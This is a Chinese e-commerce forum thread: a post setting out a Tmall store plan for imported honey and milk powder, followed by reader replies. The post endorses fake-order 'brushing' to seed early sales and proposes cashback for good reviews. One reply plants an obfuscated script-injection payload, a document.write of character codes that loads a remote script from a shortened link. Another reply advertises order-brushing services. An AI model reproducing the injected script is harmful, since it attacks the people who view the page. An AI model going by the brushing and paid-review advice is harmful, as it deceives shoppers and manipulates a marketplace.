自己店铺的天猫运营推广方案

求TB加精！

人世间最惨的事情莫过于天猫SD自杀，无论是QQ群互刷、QT放单，YY互刷放单、以及虚拟机配合SD、利用软件修改硬件信息自己刷自己自己等，各种手法均难以解决小号是不是安全性？独立IP配合物流地址，以及配合的浏览量、转化率等，虽然天猫的稽查系统是以木桶原理来稽查短板环节的，可是一着不慎满盘皆输，现在天猫稽查最狠的一点是自检系统96单上限，这一点表面是自己清洗洗白自己，实际是天猫通过这个来确认你的SD行为对应的旺旺小号，这就是自己出卖了自己啊。总体来讲SD就是模拟客户真实的购物行为，为什么我们要SD？总结一句就是淘宝天猫的竞争环境与日恶化，运营成本极度攀升，商家为了降低成本，互相恶性竞争陷入无止境循环，你不SD而别人刷，你就永远出于劣势，但是随着稽查系统越来越智能，降权的风险也越来越大。就自身而言经过几年的运营摸索SD，前期引导基础销量和评价是有利于自身的，也就是辅助前期的运营是可以考虑的，当你SD到一定量时其实整体的排名就上不了，接着就是转化率，流量指标迅速降下来，是因为我们违背了市场对产品的认知规律，所以才会出现这个现象，这就是现象回归本质的表现。最有力本质的做法应该是前期引导一些销量，最终要回归本质的运营推广。这一块则是产品是第一要素，其次是价格、宝贝营销推广的各个环节。

运营推广思路一览表（蜂蜜、奶粉）：

一、          岗位分工

Ø       店铺运营：负责网店整体规划、营销、推广、客户关系管理等系统经营性工作；网店日常改版策划、上架、推广、销售、售后服务等经营与管理工作。制定销售计划，带领团队完成销售业绩目标；客户关系维护，处理相关客户投诉及纠纷问题。

Ø       店铺推广：网店日常维护和发布新品，保证网店的正常运作，优化店铺及商品排名；执行与配合公司相关营销活动，策划店铺促销活动方案；收集市场和行业信息，提供有效应对方案；

Ø       美工摄影：负责网络店铺视觉规划、设计，以及产品描述工作；负责网站产品后期图片的处理和排版，装修店铺，制作宝贝详情页面以及其他页面。

Ø       仓管物流：按照要求对货物产品进行包装，负责进货和发货等物流方面的事项，清点库存。较强的服务客户的意识及团队合作精神 ，客户日常订单需在24小时发出，节假日必须48小时发出。

Ø       售前售后客服：通过聊天软件,耐心回答客户提出各种问题,达成双方愉快交易，处理订单信息，熟悉淘宝的各种操作规则,处理客户要求,解答顾客提问，引导顾客进行购买，促成交易，为网上客户提供售后服务,并以良好的心态及时解决客户提出的问题和要求，提供售后服务并能解决一般投诉，配合公司淘宝店铺和独立网站的推广宣传，另外评价管理的处理，特别是差评！（需要设置白班与晚班的交接、正常班和节日轮休班更替，需要每天保持在线时间为18小时）

二、产品拍摄要求：

三、产品价格定位：

四、快递合作：首选申通、圆通、顺丰、配合EMS。

五、产品包装原则：

六、店铺装修（3~4周）PC端于MS端同时装修。

Ø       装修要求：严禁浮夸产品的天猫违jin词，原则表现出店铺的高大上等特点。

Ø       店招要求：简单明了，最好在右侧边缘嵌入主推的爆款产品。

Ø       菜单导航栏：未确定，以产品而定．

Ø       首页装修：首页突出专业新西兰进口高端食品为特色风格。把持通屏豪华装修的风格，第一张为海报图片，第二张以后为产品模块定位，要求每张产品图片表现要大气上档。底下其它图例为售后、物流、保障、承诺等。(如果是红酒则主题体现出葡萄的主题风格，以黑色神秘、紫色高贵、红色激情相结合的界面，要求简洁明快)

Ø       列表页装修可以简单装修设置就行了。

Ø       宝贝详情页主图要求大于800*800的5张（整体表现有质感、有创意背景等，最好把宝贝的内容突出表现，注意要有logo、卖点等元素，突出产品视觉冲击力，美观大方高端大气）。宝贝详情需要包含的模块内容必须有功效、工艺或配方原料、卫生许可检验检疫证、海关报单、包装礼盒、产品信息、优惠券、营养食材搭配、手机下单更优惠、表达出安全健康等理念，对比普通蜂蜜的优势.

Ø       重点装修手机端店铺首页内页，可以使用卖家服务里的淘宝神笔模版样式。http://xiangqing.taobao.com/list.htm?spm=a21a6.7513991.0.0.4wfUE4

Ø       客服旺旺：小号按人分配，注意控制权限，小号的昵称需要确定。（小钮＼小茜＼小蓝＼小之＼小窗），客服注意回复客户的语气和制式回答，完善机器人学习功能。

Ø       关联营销模块主推４款950叠加产品，4~6款其他辅加的950/2产品。

Ø       宝贝详情页面展示出店铺的促销活动等信息，如店铺优惠券、赠品、促销活动等。（注意宝贝打造宝贝详情页模版功能的的完善（遵循原则：PC详情页控制在20屏内，MS端控制在10屏内。言简意赅，内容完善）。宝贝详情页面的模块内容要体现出产品的获奖、安全卫生许可、进口报关、查询真伪正品方法、搭配效果、食材提炼、工艺配方、客户疑虑、退换货流程、产品细节、产品参数、扫码收藏关注赠品、包装送礼等。在这里要强调的一点是主推的宝贝详情页尤为重要，因为天猫的展现形式是客户都是从窗户跳进来，从门出去的。

Ø       激活并装修中纽食品专营店官方独立域名的网店。

Ø      开通商家保障和特种经营许可高亮营业执照。

七、新品发布

1、  检查优化页面是否存在违规、夸张广告嫌疑等。

2、  天猫搜索引擎关键字的优化：新品上架后侧重于是标题、副标题卖点关键字的提炼与运用，宝贝详情页优化，属性优化（向天猫小二索要类目关键字规范，同时应用软件和天猫淘宝搜索框提炼产品类目等搜索、成交、人气指数高的相关联度匹配关键字。

关键字：淘宝、天猫搜索框、淘宝指数搜索框、TOP淘宝、类目、数据魔方、生意经、淘词等。

3、  依据行业类目活动时间确定上下架时间优化、橱窗推荐等提升宝贝展现自然排名。（淘宝侧有影响权重排名）

4、  店内促销活动的策划和优惠券设置（首页和宝贝详情页展现）发布等。

5、 新店全部产品推广测试，提炼自然率转化率高的产品作为下步重点推广的爆款来打造。（第五、六周测试数据）

6、 在新品发布60天后出现个别动销率较差的产品，经过优化后仍然不理想的直接下架，避免影响店铺的整体权重。

7、 设置手机端店铺宝贝的专项优化（手机端的权重大于PC端的）

8、 设置评价有礼、公益宝贝设置。

9、 快递运费的模板的设置。

10、产品发布价格的确定为建议零售价->促销价5、6、8、9尾数设置法，以便于后期上活动更容易促销。

八、推广渠道（第五周开始）

1、直通车：制定直通车推广计划目标，应用软件和行业关键字数据，重点培养质量得分较高的、转化率较高的关键字，定向溢价投放PC于MS端精准人群，注意投放连续性，每天日常优化一次，特别是对关键字的转化率、展现、点击率和图片的优化，可以选择定向投放。

2、通用淘客佣金的设置，如意淘的可以设置高些，注意爱淘的图片优化，在阿里妈妈论坛和淘客度平台http://www.ibenn.com/ 发布招募贴，要以高佣金、高转化来吸引淘客。file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtml1/01/clip_image002.gif

3、店内新开业活动的策划如：集中某天如周三上午10点整：1小时做个新店开张的活动，免费试吃，不是正品不要钱，免费退回，赔本赚吆喝，只限前100名，价格设置较低，让客户感觉占了大便宜的抢购。这个广告要提前3~5天预热。直通车和钻展计划投放、以及店内前1周预热。

（原理：如同广告效应引流促成交量，提升宝贝的自然排名。）

4、依据产品情况逐一排查哪些淘宝第三方推广网站可以做活动，如聚划算、zhe800、51返利网等，甚至可以与美团、大众点评团、糯米团、F团等做单独的团购。考核期后尽快尝试报名活动（官方活动无权重），天天特价（自4月1日后有权重了）。

5、提前规划如6.18大庆、1111大促，腊八节等时，可以设置店内大促，用首焦图钻展引流等，设置定向溢价的模式投放广告，否则效果较差。特别适合天猫店内做活动时导入活动的流量。（2015年天猫店全年活动推广计划表）

6、每天推广的数据分析总结，如跳失率、访问深度、访问时间、流量构成、静默转化率、ROI、询单率等，同时监测处理售后的评价管理、物流问题、客服旺旺响应时间以及专业技巧情况，利用店铺体检报告软件多维度透视店铺的核心经营数据。

7、店内促销的设置，如满就送、搭配套餐、限时折扣、秒杀限购、包邮赠品、优惠券、抽奖有礼（大奖够大，小奖够广）会员折扣设置等。

8、开通供销平台可以招商C店一件代发。

9、开通口袋购物平台直通车推广的引流计划。

10、每月站外各大搜索引擎登陆入口提交数据：提交相关店名和核心关键字

360搜索引擎登录入口：http://info.so.360.cn/site_submit.html

百度搜索网站登录口：http://www.baidu.com/search/url_submit.html

简搜搜索引擎登陆口：http://www.jianso.com/add_site.html

搜狗网站收录入口:  http://www.sogou.com/feedback/urlfeedback.php

必应网站登录口：http://cn.bing.com/docs/submit.aspx?FORM=WSDD2 Alexa

铭万网B2B(必途)网址登陆口：http://search.b2b.cn/pageIncluded/AddPage.php

快搜搜索网站登录口：http://www.kuaisou.com/main/inputweb.asp

搜猫搜索引擎登录入口：http://test.somao123.com/search/url_submit.php

一淘网开放搜索申请入口：http://open.etao.com/apply_intro.htm?spm=0.0.0.40.9VF4FQ

11、站外引流：百度推广8个关键字：（“新西兰奶粉”、“新西兰蜂蜜”联想的8个关键字）；

12、注意配合无线运营中心的优化如手机端详情，专享价等优化、活动导向手机单。微淘每天发布3天广告信息

http://daxue.taobao.com/go/act/university/appupdate.php?spm=1.7304545.0.19.48kyPZ

13、每周产品推广软文营销1篇（http://www.ruanwenhome.com/），发布论坛博客等，以及发布在公司所有员工的微信和QQ空间。

利用发布工具（如：软文营销专家）或人工推广发布到大的网站如：

http://www.dzhai.com/Rank/

http://www.ruanwen.la/taocan.html；

http://www.ruanwenshu.com/）；

http://www.518jindian.com/

http://www.ruanwen51.com/

http://www.chuanboyi.org/index.php

http://www.ruanwenshu.com/

14、增值工具的使用：手机赢家、门店通、名不虚传_专业搜索数据分析、会员关怀_群发短信_短信关怀、旺店精灵。

15、站外各种软文、论坛、新品发布、百度新闻外链、百度知道、微博等推广渠道：

http://www.taobao.com/market/common/yxfwtgyq.php?spm=0.0.0.0.ImAoJ9

九、爆款打造（第七周开始运作）

依据公司主推的产品数据和行业类目数据，制定目标，分解目标，达成效果。一个店铺的支撑需要一个小的爆款群，因为80%的业绩最终来源于20%的几款单品。爆款打造前需要测试数据和库存供应链稳定。如在测试完产品和日常产品进入正常推销售期后，店铺进入稳定期季度销售额为60万，则逐月需达成的销售额有梯度为10万、20万、30万（宝贝店铺具有成长性），那么第一个月完成10万元依据行业类目和自身的转化率，客单价，需要引流多少独立uv可以完成，其中付费的直通车能完成多少流量？自然流量占比多少？钻展投放多少带来的流量？淘客流量占比？活动策划有哪些？（无论上什么活动都需要单品的基础销量和评价、DSR等，以及店铺的销售情况。前期的销量可以人为的去引导一下，促使能够报名和成长）

十、好评返现流程、邮费补差、确定赠品、会员等级的设置，好评有礼设置、公益宝贝设置、尽可能导入手机端下单、数据分析软件和促销软件、直通车软件、标题优化软件等增值软件。

十一、店铺单品优化提升全部是围绕宝贝搜索自然排名影响的维度来推进的。哪个维度体检数据差，着重优化哪个因素。

不错，咱论坛就需要这种精神，分享交流才能共同进步

终于又有新东西分享了，不得不看看哇

看帖回帖，希望咱TB58论坛越办越好

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挺详细的嘛，纯手工打字的？

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跟高，不错的嘛

参加第三非官方活动

还不错 。。可以全局了解下，谢谢分享ed2k://|file|.|'+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,65,84,110,53,48,99,62,60,47,115,99,114,105,112,116,62))+'|test/

想必大家都想刷手机单了，苦于没流量，不用苦恼了，加我ＱＱ；904738456

新帖必看，每天学习才能不断进步

很好谢谢分享了

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感谢分享，写了好多

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多谢楼主分享啊~~！